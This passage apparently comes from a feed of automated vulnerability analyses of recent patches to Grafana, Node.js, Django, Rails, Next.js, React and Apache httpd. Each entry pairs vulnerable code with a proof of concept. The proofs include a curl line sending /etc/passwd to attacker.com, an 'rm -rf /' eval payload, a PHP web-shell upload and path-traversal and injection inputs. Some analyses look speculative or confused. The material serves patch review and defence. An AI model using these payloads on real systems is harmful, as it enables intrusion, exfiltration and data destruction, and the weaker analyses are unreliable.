options = ObjectAssign(input || {}, options);
// Attacker pollutes Object.prototype with a malicious hostname
Object.prototype.hostname = 'evil.attacker.com';
// Now any http.request() call that goes through the else branch
// (i.e., when both input URL and options are provided) will pick up
// the polluted hostname if not explicitly set
const http = require('http');
http.request({ port: 80 }, (res) => {
// Request goes to evil.attacker.com:80 instead of intended host
console.log('Connected to:', res.socket.remoteAddress);
}).end();
// Before the patch, options.hostname resolves to 'evil.attacker.com'
// via prototype chain since input object inherits from Object.prototype
Apr 29, 2026, 04:39 AM — grafana/grafana
Commit: f2d8737c86f9bbae018865a6db8e9f4730b672b1
Author: Alex Khomenko
Before this patch, Grafana's provisioning feature allowed users to save repository URLs containing embedded credentials (e.g., `https://user:[email protected]/owner/repo`). Since the URL field is not treated as a secret and is returned verbatim by the settings API, any authenticated user (including low-privilege Viewers) could read the credentials by querying the provisioning settings endpoint. The patch adds frontend validation that detects and blocks URLs with userinfo components (username/password) before they can be saved.
url: {
label: t('provisioning.shared.url-label', 'Repository URL'),
validation: {
pattern: {
value: /^https:\/\/[^\/]+\/[^\/]+\/[^\/]+\/?$/,
message: t('provisioning.shared.url-pattern', 'Must be a valid repository URL (https://hostname/owner/repo)'),
},
},
},
1. As an admin, configure a provisioning repository with URL: https://user:[email protected]/owner/repo 2. Save the configuration (no validation prevents this before the patch) 3. As any authenticated Viewer, call GET /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/<name> 4. The response includes the full URL verbatim: {"spec":{"github":{"url":"https://user:[email protected]/owner/repo",...}}} 5. The token ghp_secrettoken123 is now exposed to all authenticated users, while secure.token would have been redacted
Apr 28, 2026, 02:04 PM — grafana/grafana
Commit: baa428a6b4bf471301079df6ea43a44536ba3036
Author: Misi
Before the patch, the `/teams/{name}/members` handler parsed `offset` and `page` query parameters but did not clamp them to non-negative values. A negative `offset` value would cause a negative slice index when slicing `t.Spec.Members\[offset:end\]`, triggering a Go runtime panic and crashing the handler (or the server process, depending on recovery middleware). The patch adds explicit clamping of `offset` to `\[0, total\]` before slicing.
window := t.Spec.Members[offset:end] // offset can be negative from ?offset=-1
GET /apis/iam.grafana.app/v0alpha1/namespaces/default/teams/myteam/members?offset=-1 This sends a negative offset to the handler. Before the patch, `offset` would be -1, `end` would be (-1 + limit), and the slice expression `t.Spec.Members[-1:end]` would cause a Go runtime panic: 'runtime error: slice bounds out of range [-1:]', crashing the request handler.
Apr 26, 2026, 04:28 PM — apache/httpd
Commit: eecbbca65f3fd09cf0c1aee763bc26b46a46380e
Author: Eric Covener
In mod_authn_socache.c, the `construct_key` function called `strrchr(r->uri, '/')` without checking if the result was NULL before using it in pointer arithmetic. If `r->uri` contained no '/' character (an unusual but possible condition), `slash` would be NULL and the expression `slash - r->uri` would cause undefined behavior/crash. The patch moves the slash computation earlier and adds a NULL check (`&& slash`) before entering the branch that uses it.
if (!strcmp(context, directory)) {
/* FIXME: are we at risk of this blowing up? */
char *new_context;
char *slash = strrchr(r->uri, '/');
new_context = apr_palloc(r->pool, slash - r->uri +
Send a crafted HTTP request where r->uri contains no '/' character. In Apache's normal operation r->uri always starts with '/', but via certain internal redirect or sub-request mechanisms, or a crafted request, a URI without '/' could be constructed. When the authn_socache module processes authentication for a directory context with such a URI, slash==NULL, and `slash - r->uri` dereferences NULL causing a server crash (DoS). Example: configure AuthnCacheContext directory, then trigger an internal sub-request with a URI like 'nodirectoryslash' to crash the child process.
Apr 25, 2026, 09:28 AM — nodejs/node
Commit: 21436f04057b62b4ad7b3704dad73898c681cd1e
Author: Matteo Collina
Before the patch, `req.headers` and `req.trailers` in Node.js HTTP/HTTP2 IncomingMessage were plain objects (`{}`) with `Object.prototype` as their prototype. This allowed an attacker to send HTTP headers named `__proto__`, `constructor`, or `toString` that could pollute the prototype chain or shadow built-in properties when the headers object was used in certain ways. The patch fixes this by creating the headers object with a null prototype (`{ __proto__: null }`), preventing any prototype chain manipulation.
if (!this[kHeaders]) {
this[kHeaders] = {};
const src = this.rawHeaders;
const dst = this[kHeaders];
// Attacker sends HTTP request with __proto__ header:
// GET / HTTP/1.1\r\nHost: victim\r\n__proto__: polluted\r\n\r\n
//
// Server-side code that may be vulnerable:
const http = require('http');
http.createServer((req, res) => {
// Before patch: req.headers has Object.prototype
// A header named '__proto__' could be interpreted as prototype manipulation
// depending on how the object is used downstream
const headers = req.headers;
// If code does: Object.assign(target, req.headers)
// or: for (let k in req.headers) target[k] = req.headers[k]
// the __proto__ key could pollute target's prototype
const target = {};
Object.assign(target, headers); // __proto__ assignment pollutes Object.prototype
console.log(({}).polluted); // could output attacker-controlled value
res.end();
}).listen(8080);
Apr 23, 2026, 05:20 PM — nodejs/node
Commit: 800f5828dce64a16e2255315a0c29ea71c25d044
Author: Jonathan Lopes
The `nidOnlyKeyPairs` object in Node.js crypto's `generateKeyPair` was created as a regular object without a null prototype, allowing inherited properties from `Object.prototype` (like `toString`, `constructor`, `hasOwnProperty`, etc.) to be used as valid key type names. By passing a type name like `'toString'` or `'constructor'`, an attacker could bypass the intended key type validation and potentially trigger unexpected behavior in the NID-based key pair generation. The patch fixes this by setting `'__proto__': null` on the object, removing inherited properties from the lookup table.
const nidOnlyKeyPairs = {
'ed25519': EVP_PKEY_ED25519,
'ed448': EVP_PKEY_ED448,
'x25519': EVP_PKEY_X25519,
const { generateKeyPairSync } = require('crypto');
// Before the patch, 'toString' would be found in nidOnlyKeyPairs via prototype
// inheritance, causing NidKeyPairGenJob to be called with undefined NID value
// instead of throwing ERR_INVALID_ARG_VALUE
try {
generateKeyPairSync('toString', {});
console.log('No error thrown - vulnerability confirmed');
} catch (e) {
console.log('Error:', e.code); // Should be ERR_INVALID_ARG_VALUE but before patch may be different
}
Apr 22, 2026, 06:25 PM — django/django
Commit: dc467fdc3b5744cec71fab876c23a14013e2510b
Author: Dinesh
Before the patch, a maliciously crafted Content-Type header containing an RFC 2231 encoded parameter with an invalid encoding name (e.g., `charset*=BOGUSencoding''value`) would cause an unhandled LookupError in parse_header_parameters(), resulting in an HTTP 500 Internal Server Error instead of a proper HTTP 400 Bad Request. This crash could expose stack traces (if DEBUG=True) or indicate internal implementation details, and could be used for denial-of-service by causing unhandled exceptions in request parsing. The fix wraps the unquote call in a try/except to raise ValueError, which is then caught and re-raised as BadRequest (HTTP 400).
if has_encoding:
encoding, lang, value = value.split("'")
value = unquote(value, encoding=encoding)
Send an HTTP request with the following Content-Type header:
GET / HTTP/1.1
Host: example.com
Content-Type: text/plain; charset*=BOGUSencoding''%20
Before the patch, Django would raise an unhandled LookupError (unknown encoding: BOGUSencoding), resulting in HTTP 500. In DEBUG mode, this leaks a full stack trace. Script:
import requests
r = requests.get('http://localhost:8000/', headers={'Content-Type': "text/plain; charset*=BOGUSencoding''%20"})
print(r.status_code) # 500 before patch, 400 after patch
Apr 20, 2026, 11:11 AM — grafana/grafana
Commit: ed46c962f394834b533faf6dea724e757e8da43f
Author: Robert Clarke
Before this patch, the `basicAuth` struct's `RequireTransportSecurity()` method always returned `true`, which should have prevented basic auth credentials from being sent over non-TLS (insecure) gRPC connections. However, this hardcoded `true` value actually caused a conflict: when connecting to a non-TLS endpoint (using `insecure.NewCredentials()`), gRPC would reject the connection because the per-RPC credentials demanded transport security but none was configured. The fix makes `requireTransportSecurity` match the actual TLS state (`secure` variable). The real security concern is the inverse scenario: if an attacker or misconfiguration causes basic auth credentials to be transmitted over a plaintext gRPC connection, the credentials (username/password encoded in Base64) would be exposed in transit.
func (c *basicAuth) RequireTransportSecurity() bool {
return true
}
Configure a Tempo datasource in Grafana with basic auth enabled and a non-TLS gRPC URL (e.g., grpc://tempo-host:9095). With RequireTransportSecurity() hardcoded to true, gRPC rejects the connection entirely. After the fix with requireTransportSecurity=false for non-TLS, the connection succeeds but credentials flow over plaintext. An attacker on the network path can capture the gRPC stream and decode the Authorization header: `echo 'dXNlcjpwYXNzd29yZA==' | base64 -d` => `user:password`, extracting the Tempo datasource credentials.
Mar 18, 2026, 08:46 PM — apache/httpd
Commit: e8b5fdc083f38f0395c992e9e9c6a4749674acc5
Author: Rich Bowen
The original example configuration had 'Require all granted' at the Directory level, which grants unauthenticated access to all users by default. The LimitExcept block only required authentication for non-GET/POST/OPTIONS methods, but the outer 'Require all granted' could override authentication requirements depending on configuration context. The patch removes 'Require all granted' and replaces the LimitExcept approach with a RequireAny block that properly requires either the correct HTTP method OR an authenticated admin user, ensuring write operations require authentication.
<Directory "/usr/local/apache2/htdocs/foo">
Require all granted
Dav On
...
<LimitExcept GET POST OPTIONS>
Require user admin
</LimitExcept>
With the old config, an unauthenticated user could perform WebDAV write operations: `curl -X PUT http://example.com/foo/malicious.php -d '<?php system($_GET["cmd"]); ?>'` - The 'Require all granted' directive grants access to all users, and depending on Apache's authorization merging behavior, could allow unauthenticated PUT/DELETE/MKCOL requests to modify server files, potentially leading to remote code execution.
Feb 24, 2026, 08:05 PM — grafana/grafana
Commit: f1b77b82db5b8f4a0a10db5fb013b39869db464d
Author: colin-stuart
The code allowed SAML authentication to create duplicate user_auth records for SCIM-provisioned users instead of updating existing ones. An attacker could exploit this by logging in via SAML with a SCIM user's credentials to create a new auth record with their own AuthID, potentially bypassing access controls or creating authentication confusion.
if identity.AuthenticatedBy == login.GenericOAuthModule {
query := &login.GetAuthInfoQuery{AuthModule: identity.AuthenticatedBy, UserId: usr.ID}
userAuth, err = s.authInfoService.GetAuthInfo(ctx, query)
1. SCIM provisions user with email '[email protected]' and creates user_auth record with empty AuthID 2. Attacker performs SAML login with same email '[email protected]' but different AuthID 'attacker-saml-id' 3. Code fails to find existing auth record by AuthID lookup, creates new user_auth record instead of updating existing one 4. Result: User now has two authentication methods - original SCIM provision + attacker's SAML AuthID, allowing potential unauthorized access
Feb 24, 2026, 09:32 AM — grafana/grafana
Commit: f13db6553c2037967bd87e215e1a12d38b8fe211
Author: Maksym Revutskyi
The code before the patch used HTTP transport without proper TLS certificate validation when communicating with external image renderer services. This allowed attackers to intercept HTTPS communications through man-in-the-middle attacks, potentially exposing authentication tokens and sensitive data. The patch adds support for custom CA certificates to enable proper certificate validation.
var netTransport = &http.Transport{
Proxy: http.ProxyFromEnvironment,
Dial: (&net.Dialer{
Timeout: 30 * time.Second,
}).Dial,
TLSHandshakeTimeout: 5 * time.Second,
}
1. Set up a malicious proxy/MITM tool like mitmproxy with a self-signed certificate 2. Configure network to route Grafana's image renderer traffic through the proxy 3. The original code would accept any certificate without validation, allowing interception of requests containing X-Auth-Token headers 4. Command: `mitmproxy -p 8080 --certs *=cert.pem` then configure Grafana to use renderer at https://malicious-renderer:8081 - the auth tokens would be captured in plaintext
Feb 24, 2026, 09:19 AM — rails/rails
Commit: 508662256608a0efe9221d801c894e8bbe126145
Author: Jean Boussier
The custom inspect methods in various Rails classes exposed sensitive internal state including cryptographic keys, secrets, and other confidential data in debug output, logs, and error messages. The patch replaces custom inspect methods with a standardized approach that only shows safe instance variables, preventing accidental leakage of sensitive information.
def inspect # :nodoc:
"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end
# In a Rails console or debug session: encryptor = ActiveSupport::MessageEncryptor.new(SecretKey.new) encryptor.inspect # Before patch: Would expose the secret key in the output # After patch: Only shows class name and object ID # Or in ActionCable connection: connection = ActionCable::Connection::Base.new(server, env) connection.inspect # Before patch: Could expose connection secrets, tokens, or session data # After patch: Only shows safe, filtered instance variables
Feb 24, 2026, 09:07 AM — rails/rails
Commit: 4c0776608a2e8048093c80de192de4f446c4d1fa
Author: Mark Bastawros
The custom inspect methods in various Rails classes could potentially expose sensitive internal state or configuration data through debug output, error messages, or logs. The patch replaces these with a controlled inspection mechanism that only shows explicitly whitelisted instance variables.
def inspect # :nodoc:
"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
end
# In a Rails console or error handler: connection = ActionCable::Connection::Base.new(server, env) connection.instance_variable_set(:@secret_token, 'sensitive_data') puts connection.inspect # Before patch: Could expose @secret_token and other internals # After patch: Only shows basic object info without sensitive variables
Feb 23, 2026, 04:36 PM — vercel/next.js
Commit: 45a8a82db5f701546300fc7478ccbe8776350dc0
Author: Tobias Koppers
The code had a concurrency bug where the follower's aggregation number was read without proper locking, allowing the inner-vs-follower classification decision to be made on stale data if the aggregation number changed concurrently. This could lead to incorrect task classification and potential data corruption in the aggregation system.
let follower_aggregation_number = get_aggregation_number(&follower); let should_be_follower = follower_aggregation_number < upper_aggregation_number;
Thread 1 reads follower's aggregation number (e.g., 10) and determines it should be a follower. Thread 2 concurrently updates the same follower's aggregation number to a higher value (e.g., 20). Thread 1 proceeds with the stale classification decision, incorrectly treating a node that should be an inner node as a follower, leading to incorrect aggregation graph structure and potential data corruption.
Feb 21, 2026, 04:06 AM — vercel/next.js
Commit: 632725b0ad714043737b28e0d7b4a5ee6b2fa9ec
Author: Sebastian "Sebbie" Silbermann
The script accepts user-provided file paths without validation and directly converts them to file URLs, allowing attackers to access arbitrary files on the system. The patch adds proper path handling using pathToFileURL() which normalizes paths and prevents directory traversal attacks.
if (version !== null && version.startsWith('/')) {
version = pathToFileURL(version).href
}
pnpm run sync-react --version "../../../etc/passwd" would allow reading system files outside the intended React checkout directory before the patch
Feb 20, 2026, 02:43 PM — django/django
Commit: 283ea9e9e014adf0013c18700c36b98efa2f0aac
Author: SiHyunLee
The Django admin interface was vulnerable to XSS attacks when displaying model string representations that contained only whitespace or malicious scripts. The vulnerability occurred because whitespace-only strings were not properly sanitized before being rendered in HTML contexts, allowing attackers to inject malicious scripts through model __str__ methods.
obj_repr = format_html('<a href="{}">{}</a>', urlquote(obj_url), obj)
# Direct use of obj without sanitization
Create a Django model with a __str__ method that returns '<script>alert("XSS")</script>' or just whitespace followed by script tags. When viewing this object in the Django admin interface, the malicious script would execute in the browser due to improper escaping of the object representation in admin templates and breadcrumbs.
Feb 20, 2026, 08:25 AM — grafana/grafana
Commit: 430abe78becc1996d2327e06d449aaad0ca80bc1
Author: Georges Chaudy
The old authorization system used deprecated Compile method which performed authorization checks item-by-item during iteration, potentially allowing unauthorized access to resources due to race conditions or incomplete authorization state. The patch replaces this with FilterAuthorized using BatchCheck which performs more robust batch authorization before returning results.
checker, _, err := s.access.Compile(ctx, user, claims.ListRequest{
Group: key.Group,
Resource: key.Resource,
Namespace: key.Namespace,
Verb: utils.VerbGet,
})
1. User with limited permissions makes concurrent List requests for resources they shouldn't access 2. During the item-by-item authorization check in the old code, if authorization state changes between checks or there's a race condition, some unauthorized items could pass through the checker 3. Attacker could potentially access resources in folders/namespaces they don't have permissions for by exploiting timing windows in the deprecated Compile authorization flow
Feb 19, 2026, 04:37 PM — facebook/react
Commit: f247ebaf44317ac6648b62f99ceaed1e4fc4dc01
Author: Tim Neutkens
The original code used JSON.parse with a reviver function that could potentially allow __proto__ property manipulation during RSC payload deserialization. The patch explicitly deletes __proto__ keys during the walking phase and moves away from the reviver approach to prevent prototype pollution attacks.
return JSON.parse(json, response._fromJSON); // where _fromJSON reviver processes all key-value pairs including __proto__
Send RSC payload with malicious JSON: {"__proto__": {"polluted": true, "isAdmin": true}} - this could pollute Object.prototype during the reviver processing before parseModelString filters are applied, potentially affecting application logic that checks object properties.
Feb 19, 2026, 12:58 PM — grafana/grafana
Commit: b0d812f414a22201e95d9646894dc5563f729ed4
Author: Rafael Bortolon Paulovic
The code had a race condition vulnerability during database migrations where concurrent writes to legacy tables could occur during unified storage migrations in rolling upgrade scenarios. This could lead to data corruption or inconsistent state as multiple processes could simultaneously modify the same database tables without proper synchronization.
Resources: []migrations.ResourceInfo{
{GroupResource: folderGR, LockTable: "folder"},
{GroupResource: dashboardGR, LockTable: "dashboard"},
}
During a rolling upgrade, start a unified storage migration for dashboards while simultaneously having another Grafana instance write to the dashboard table. The race condition occurs when: 1) Migration process reads dashboard data from legacy tables, 2) Another instance modifies the same dashboard record, 3) Migration process writes to unified storage based on stale data, resulting in data loss or corruption of the dashboard modifications made in step 2.
Feb 18, 2026, 10:33 PM — grafana/grafana
Commit: ba0f62a8dad160e0fdb2d7993fcb6c6d194f1d22
Author: beejeebus
The code exposed encrypted datasource secrets even when they were empty, potentially leaking secret metadata or encrypted empty values to unauthorized users. The patch fixes this by filtering out empty secrets before returning them in API responses.
return q.converter.AsDataSource(ds)
GET /api/datasources/{uid} - An attacker with read access could retrieve a datasource configuration and see references to all configured secret fields (even empty ones) in the SecureJsonData map, potentially revealing what secret fields are configured and their encrypted empty values, which could aid in further attacks or reveal system configuration details.
Feb 17, 2026, 05:58 PM — grafana/grafana
Commit: 193f6f1a50938d9fd91636dadaf00274989e5a58
Author: Costa Alexoglou
The script used relative paths without proper directory resolution, allowing an attacker to execute the script from a different working directory and cause certificates to be written to unintended locations. This could lead to certificate files being created in arbitrary directories or overwriting existing files.
rm -rf data/grafana-aggregator mkdir -p data/grafana-aggregator openssl req -nodes -new -x509 -keyout data/grafana-aggregator/ca.key
cd /tmp && /path/to/grafana/hack/make-aggregator-pki.sh - This would create certificates in /tmp/data/grafana-aggregator/ instead of the intended repo location, potentially overwriting files or bypassing access controls in the /tmp directory.
Feb 17, 2026, 03:04 PM — grafana/grafana
Commit: aac8061faaff75f917338a326eaf8c3ce5d38342
Author: Tania
The code was performing namespace validation for all provider types, but the static provider (which serves local configuration) should not enforce namespace restrictions. This created an authorization bypass where users could access feature flags from other organizations by using the static provider endpoint with mismatched namespaces.
valid, ns := b.validateNamespace(r)
if !valid {
http.Error(w, namespaceMismatchMsg, http.StatusUnauthorized)
return
}
An attacker authenticated to org-1 could access feature flags intended for org-2 by making requests to the static provider endpoints (when providerType is not FeaturesServiceProviderType or OFREPProviderType) with org-2's namespace in the URL path, bypassing the namespace validation that should prevent cross-organization access.
Feb 17, 2026, 12:03 PM — grafana/grafana
Commit: ccaf8685b47b1a291ed0b1945be83f1e8324d977
Author: Igor Suleymanov
The dual-writer storage system was not properly handling dry-run operations, allowing state modifications and side effects (like permission changes) to occur when they should only validate without making changes. This violates the dry-run contract where operations must be read-only.
// Before patch - no dry-run check in Create method
func (d *dualWriter) Create(ctx context.Context, in runtime.Object, createValidation rest.ValidateObjectFunc, options *metav1.CreateOptions) (runtime.Object, error) {
// ... proceeds to modify both legacy and unified storage even during dry-run
POST /api/v1/folders
Content-Type: application/json
Dry-Run: All
{"metadata":{"name":"test-folder"},"spec":{"title":"Test Folder"}}
# Before patch: This would create actual folder and modify permissions despite dry-run flag
# After patch: This only validates without side effects
Feb 16, 2026, 02:59 PM — nodejs/node
Commit: 4d867af6c5d4b47b240ae4050265eb806f36e61e
Author: Shelley Vohr
The code used eval() to parse configuration data, which allows arbitrary Python code execution if an attacker can control the node_builtin_shareable_builtins configuration value. The patch replaces eval() with json.loads() to safely parse JSON data.
eval(config['node_builtin_shareable_builtins'])
An attacker could set node_builtin_shareable_builtins to '__import__("os").system("rm -rf /")' which would execute arbitrary shell commands when eval() processes it during the build configuration generation.
Feb 16, 2026, 12:14 PM — grafana/grafana
Commit: 9be63b169b8e9f07a8b05df5d9b901a06ec611a3
Author: Steve Simpson
The code added validation for alert label matchers to prevent query injection in LogQL queries. Before the patch, malicious label names or matcher types could be injected into the LogQL query string without proper validation, potentially allowing attackers to manipulate the query structure.
logql += fmt.Sprintf(` | alert_labels_%s %s %q`, matcher.Label, matcher.Type, matcher.Value)
POST request with Labels: [{"Type": "| json | drop", "Label": "severity", "Value": "critical"}] or Labels: [{"Type": "=", "Label": "test\" = \"injected\"", "Value": "value"}] to inject arbitrary LogQL operators and manipulate the query structure
Feb 16, 2026, 07:36 AM — grafana/grafana
Commit: 3f6518806f8c58f91e8a1f6756deb42d1b09d22a
Author: Daniele Stefano Ferru
The code allowed updating Repository resources to remove all finalizers, which would cause immediate deletion without proper cleanup when the resource is later deleted. This bypasses the intended cleanup workflow and could lead to orphaned resources or incomplete cleanup operations.
if len(r.Finalizers) == 0 && a.GetOperation() == admission.Create {
r.Finalizers = []string{
RemoveOrphanResourcesFinalizer,
CleanFinalizer,
}
}
1. Create a Repository resource (finalizers are added automatically)
2. Update the Repository with an empty finalizers array: `kubectl patch repository myrepo --type='merge' -p='{"metadata":{"finalizers":[]}}'`
3. Delete the Repository: `kubectl delete repository myrepo`
4. The resource is immediately deleted without cleanup, bypassing the controller's cleanup logic and potentially leaving orphaned resources
Feb 14, 2026, 08:50 AM — rails/rails
Commit: 97cda8c49a2ffb5eea15a80ec99ada41c2b0df36
Author: Jean Boussier
The vulnerability allows silent data corruption where regular columns can be incorrectly deduplicated with virtual columns, causing INSERT and UPDATE statements to exclude legitimate columns and store NULL values instead of the intended data. This occurs when the deduplication registry encounters a virtual column first, then treats a regular column with the same name and type as identical.
def ==(other)
other.is_a?(Column) &&
super &&
auto_increment? == other.auto_increment?
end
1. Create a table with a virtual column named 'status' 2. Access the virtual column to register it in deduplication cache 3. Create another table with a regular column named 'status' 4. Attempt to insert data: User.create!(status: 'active') 5. The status field will be NULL in database instead of 'active' because the regular column was deduplicated to the virtual column and excluded from the INSERT statement
Feb 14, 2026, 08:50 AM — rails/rails
Commit: 1a4305dfd0ba24e8d7b2fe17dfc8b60818437468
Author: Joshua Huber
The Deduplicable module incorrectly treated virtual (generated) columns and regular columns as identical when they had the same name and type, causing regular columns to be silently excluded from INSERT/UPDATE operations. This resulted in NULL values being stored instead of the intended data, leading to silent data corruption.
def ==(other)
other.is_a?(Column) &&
super &&
auto_increment? == other.auto_increment?
end
1. Create a table with a virtual column named 'name' 2. Create another table with a regular column named 'name' of same type 3. Access virtual column first to register it in deduplication cache 4. Attempt INSERT on regular table: MyModel.create!(name: 'test_data') 5. The 'name' field will be NULL in database instead of 'test_data' due to column deduplication treating regular column as virtual
Feb 13, 2026, 06:45 PM — vercel/next.js
Commit: 740d55cdcefe5e62a2e0f6d65cd543d4b24423cc
Author: Tobias Koppers
The feature allows arbitrary webpack loader execution through import attributes without proper validation or sandboxing. An attacker can specify malicious loader code that gets executed during the build process, potentially leading to remote code execution on the build server.
import value from '../data.js' with { turbopackLoader: 'malicious-loader', turbopackLoaderOptions: '{"cmd":"rm -rf /"}' }
Create a malicious loader at node_modules/malicious-loader/index.js:
```js
module.exports = function(source) {
const { exec } = require('child_process');
exec('curl -X POST -d "$(cat /etc/passwd)" http://attacker.com/exfil');
return source;
}
```
Then use: `import data from './file.txt' with { turbopackLoader: 'malicious-loader' }` to execute arbitrary commands during build time.
Feb 13, 2026, 06:25 PM — grafana/grafana
Commit: 74d146aa370c1cbaf1a9e701389c0bc0d55e4794
Author: Mihai Turdean
The MT IAM API server was using a no-op storage backend for RoleBindings, which silently dropped all write operations and returned empty results for reads. Additionally, the authorizer denied all access to rolebindings. This created an authorization bypass where RBAC role bindings were completely non-functional, potentially allowing unauthorized access or preventing proper access controls from being enforced.
roleBindingsStorage: noopstorage.ProvideStorageBackend(), // TODO: add a proper storage backend ... return authorizer.DecisionDeny, "access denied", nil
POST /apis/iam.grafana.app/v0alpha1/rolebindings with body: {"apiVersion":"iam.grafana.app/v0alpha1","kind":"RoleBinding","metadata":{"name":"admin-binding"},"subjects":[{"kind":"User","name":"attacker"}],"roleRef":{"kind":"Role","name":"admin"}} - This request would be silently dropped by noopstorage, never creating the intended role binding, while appearing to succeed to the caller.
Feb 12, 2026, 10:28 PM — grafana/grafana
Commit: 14ee584465b427a1419e4fb21555a5be42fffa22
Author: Tom Ratcliffe
The code previously only allowed admin users to see team folder owners, but the patch changes this to allow any user with 'teams:read' permission to see folder owners. This creates an information disclosure vulnerability where users with lower privileges can access team ownership information they shouldn't be able to see.
const isAdmin = contextSrv.hasRole('Admin') || contextSrv.isGrafanaAdmin;
{isAdmin && config.featureToggles.teamFolders && folderDTO && 'ownerReferences' in folderDTO && (
<FolderOwners ownerReferences={folderDTO.ownerReferences} />
)}
1. Create a user account without admin privileges but with 'teams:read' permission 2. Navigate to a team folder that has owner references 3. Before patch: Owner information is hidden 4. After patch: Owner information is now visible, disclosing team membership and folder ownership data that was previously restricted to admins only
Feb 12, 2026, 05:34 PM — grafana/grafana
Commit: 57b75b4a3b9ea631f957bf86db01de672a17d2b5
Author: Will Assis
The code had a race condition in optimistic locking implementation where concurrent operations could bypass resource version checks. The original implementation would rollback changes after transaction commit, creating a window where conflicting writes could succeed simultaneously. The patch fixes this by performing conflict detection during the transaction using proper WHERE clauses with resource version constraints.
DELETE FROM resource WHERE group = ? AND resource = ? AND namespace = ? AND name = ?; -- Missing resource_version check in WHERE clause
1. Client A reads resource with RV=100 2. Client B reads same resource with RV=100 3. Client A updates resource (RV becomes 101) 4. Client B deletes resource using old RV=100 5. Both operations succeed due to missing RV constraint in DELETE/UPDATE queries, allowing Client B to delete a resource that was modified after they read it, violating optimistic concurrency control
Feb 9, 2026, 10:38 PM — vercel/next.js
Commit: 9a2113cb9b9d93719f94372814193170335b87ed
Author: Luke Sandberg
The code incorrectly used max() instead of min() to clamp worker counts, causing all systems to be treated as having 64+ cores and potentially overflowing usize on systems with many actual cores. This could lead to memory exhaustion or application crashes.
let num_workers = num_workers.max(64); (num_workers * num_workers * 16).next_power_of_two()
On a system with a large number of cores (e.g., 10000), the calculation becomes: (10000 * 10000 * 16).next_power_of_two() = 1,600,000,000.next_power_of_two() = 2,147,483,648, which exceeds usize limits on 32-bit systems and causes massive memory allocation attempts leading to DoS.
Feb 8, 2026, 07:14 PM — facebook/react
Commit: 2dd9b7cf76c31df5d7e26e5199e3c362c3e94f95
Author: Jimmy Lai
The code incorrectly checked for debugChannel existence instead of debugChannelReadable, causing the server to signal debug info availability even with write-only channels. This could cause clients to block indefinitely waiting for debug data that never arrives, resulting in a denial of service condition.
debugChannel !== undefined,
// Server-side: Pass a write-only debug channel (no readable side)
const { Writable } = require('stream');
const writeOnlyChannel = new Writable({ write() {} });
renderToPipeableStream(component, { debugChannel: writeOnlyChannel });
// Client will now block forever waiting for debug data that cannot be read
Feb 6, 2026, 08:03 PM — vercel/next.js
Commit: 6dfcffe1cfb375363674723182b1a5d5c2894ea9
Author: Niklas Mischkulnig
The code performed integer division without checking for division by zero, which could cause a panic and crash the application. The patch replaces direct division with checked_div() to handle zero divisors safely.
if max_chunk_count_per_group != 0 {
chunks_to_merge_size / max_chunk_count_per_group
} else {
unreachable!();
}
Set max_chunk_count_per_group to 0 through configuration or input parameters. When make_production_chunks() is called with this configuration, the division chunks_to_merge_size / max_chunk_count_per_group will cause a panic, crashing the Turbopack bundler and causing a denial of service.
Feb 4, 2026, 06:43 PM — facebook/react
Commit: cf993fb457417e0f20535b1fd42c3f45df966583
Author: Hendrik Liebau
The recursive traversal of async node chains in visitAsyncNode causes stack overflow when processing deep async sequences. Database libraries creating long linear chains of async operations can trigger this DoS condition. The patch converts recursive traversal to iterative to prevent stack exhaustion.
function visitAsyncNode(...) {
if (visited.has(node)) {
return visited.get(node);
}
visited.set(node, null);
const result = visitAsyncNodeImpl(request, task, node, visited, cutOff);
// Create a deep chain of async sequences (10000+ levels)
let current = null;
for (let i = 0; i < 10000; i++) {
current = { previous: current, end: -1 };
}
// This deep chain will cause stack overflow in visitAsyncNode
// when React Flight processes the async node traversal
Feb 4, 2026, 03:12 AM — facebook/react
Commit: 3ce1316b05968d2a8cffe42a110f2726f2c44c3e
Author: Joseph Savona
The code had improper path resolution that allowed attackers to access files outside the intended directory structure. The patch fixes relative path resolution by properly normalizing paths relative to PROJECT_ROOT instead of allowing arbitrary relative paths from the current working directory.
const inputPath = path.isAbsolute(opts.path) ? opts.path : path.resolve(process.cwd(), opts.path);
yarn snap compile ../../../etc/passwd